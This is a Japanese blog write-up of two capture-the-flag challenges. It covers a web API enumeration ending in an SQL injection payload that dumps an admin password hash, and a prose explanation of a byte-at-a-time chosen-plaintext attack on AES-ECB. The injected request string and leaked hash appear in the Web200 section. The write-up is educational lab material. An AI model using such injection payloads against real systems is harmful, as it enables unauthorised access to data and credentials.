はじめに
本当に久しぶりにCTFをやりました。最後にやったのはいつだか覚えていません。
解けた問題ですがやるだけ問しか解けなかったのが残念です。。。
解いた問題
- Web200 LittleQuery
- Crypto350 baby_crypt
以上のみとなっております。
Writeup
Web200 LittleQuery
---------------------------------------------
robots.txt
User-agent: *
Disallow: /api
---------------------------------------------
/api/db_explore.php
Must specify mode={schema|preview}
モード指定が必要
---------------------------------------------
/api/db_explore.php?mode=schema
{"dbs":["littlequery"]}
dbとして「littlequery」というものがあることがわかります。
また、モード指定をすることによってスキーマや内容を見れることは何となく分かるため
littlequeryのテーブルを確認していきます
---------------------------------------------
/api/db_explore.php?mode=schema&db=littlequery&table=user
{"columns":{"uid":"int(11)","username":"varchar(128)","password":"varchar(40)"}}
littlequeryのスキーマがわかりました。
モードをpreviewにすれば見れるはずです。
---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery&table=user
Database 'littlequery' is not allowed to be previewed.
みれん
---------------------------------------------
/api/db_explore.php?mode=schema&db=INFORMATION_SCHEMA
{"tables":["CHARACTER_SETS","COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY","COLUMNS","COLUMN_PRIVILEGES","ENGINES","EVENTS","FILES","GLOBAL_STATUS","GLOBAL_VARIABLES","KEY_COLUMN_USAGE","OPTIMIZER_TRACE","PARAMETERS","PARTITIONS","PLUGINS","PROCESSLIST","PROFILING","REFERENTIAL_CONSTRAINTS","ROUTINES","SCHEMATA","SCHEMA_PRIVILEGES","SESSION_STATUS","SESSION_VARIABLES","STATISTICS","TABLES","TABLESPACES","TABLE_CONSTRAINTS","TABLE_PRIVILEGES","TRIGGERS","USER_PRIVILEGES","VIEWS","INNODB_LOCKS","INNODB_TRX","INNODB_SYS_DATAFILES","INNODB_FT_CONFIG","INNODB_SYS_VIRTUAL","INNODB_CMP","INNODB_FT_BEING_DELETED","INNODB_CMP_RESET","INNODB_CMP_PER_INDEX","INNODB_CMPMEM_RESET","INNODB_FT_DELETED","INNODB_BUFFER_PAGE_LRU","INNODB_LOCK_WAITS","INNODB_TEMP_TABLE_INFO","INNODB_SYS_INDEXES","INNODB_SYS_TABLES","INNODB_SYS_FIELDS","INNODB_CMP_PER_INDEX_RESET","INNODB_BUFFER_PAGE","INNODB_FT_DEFAULT_STOPWORD","INNODB_FT_INDEX_TABLE","INNODB_FT_INDEX_CACHE","INNODB_SYS_TABLESPACES","INNODB_METRICS","INNODB_SYS_FOREIGN_COLS","INNODB_CMPMEM","INNODB_BUFFER_POOL_STATS","INNODB_SYS_COLUMNS","INNODB_SYS_FOREIGN","INNODB_SYS_TABLESTATS"]}
なんにもない
---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery`.`user+%23+&table=user
[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]
ログインするだけ
Crypto350 baby_crypt
概要
AES ECBモードを使って暗号化されている模様
選択平文攻撃ってこういう攻撃手法だったんですね。初めてでした。
input + flag
自分の入力のあとにflagがくっつけられて暗号化されるようです。
ECBモードではブロック(16バイト)ごとに暗号化が行われるため
平文がブロック単位で一致していれば、暗号文がおなじになるという性質を利用します。
例)自分の入力値が「32バイトの\0」場合(*は未知のデータ。flag)

上段の2ブロックを自分の入力で占領(?)しています。
実際に問題サーバーに投げてみると
['cdd75f5151595b98fb17bea583e7ac58', 'cdd75f5151595b98fb17bea583e7ac58', 'f9cc1330ae5830732a18d1a23211ffbc', 'e3725519adb9e6f10d658d87c80825ed']
という結果になり、先頭2ブロックの暗号文の値が一致しています。
攻撃方法
自分の入力を少し工夫します。

自分の入力値のバイト数を31バイトにすることによってflagの先頭文字を2ブロック目に調整することが可能です。
この状態であれば15番目の入力値を総当りすることで1ブロック目と2ブロック目が一致する値を見つけることができるはずです。
あとはこれを繰り返す事ができるようにプログラムを組むだけでした。
参考
感想
久しぶりで辛かったです。proがすごすぎて何も出来ませんでした。
ありがとうございました。